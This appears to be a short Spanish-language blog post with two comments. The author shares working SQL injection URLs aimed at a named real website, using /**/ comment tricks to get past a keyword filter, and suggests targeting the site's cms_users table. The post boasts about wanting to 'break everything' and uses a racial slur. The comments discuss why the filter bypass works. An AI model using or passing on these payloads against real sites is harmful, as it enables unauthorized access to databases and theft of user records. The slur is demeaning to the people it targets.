Da Di llan keeeeeeeeee
jaja estos negros cabezas... miren miren lo que encontre
http://www.daddyyankee.com/home.php?Theme=2/**/and/**/1=0/**/union/**/select/**/group_concat(ThemeID)/**/from/**/cms_themes
http://www.daddyyankee.com/media.php?Theme=52/**/and/**/1=0/**/union/**/select/**/000010/**/from/**/information_schema.schemata.
http://www.daddyyankee.com/management.php?Theme=2094/**/and/**/1=0/**/union/**/select/**/version()
tip , +from/**/cms_users... lastima que no printea si no ya le hubiese roto todo x negro cabeza ;D
jajaja xD
saludos
2 comentarios:
Gracias!!!
EL truquito /**/ no lo sabia.
Ahora me decis la teoria porque eso funciona?
el concepto no lo recuerdo , pero puede , va la web esta tiene un filtro ,fijate que no te deja usar la palabra "table" , tmp se si te dejara usar %20 , pero no lo recuerdo..
si lo encuentro x ahi te lo digo ;P
saludos
Publicar un comentario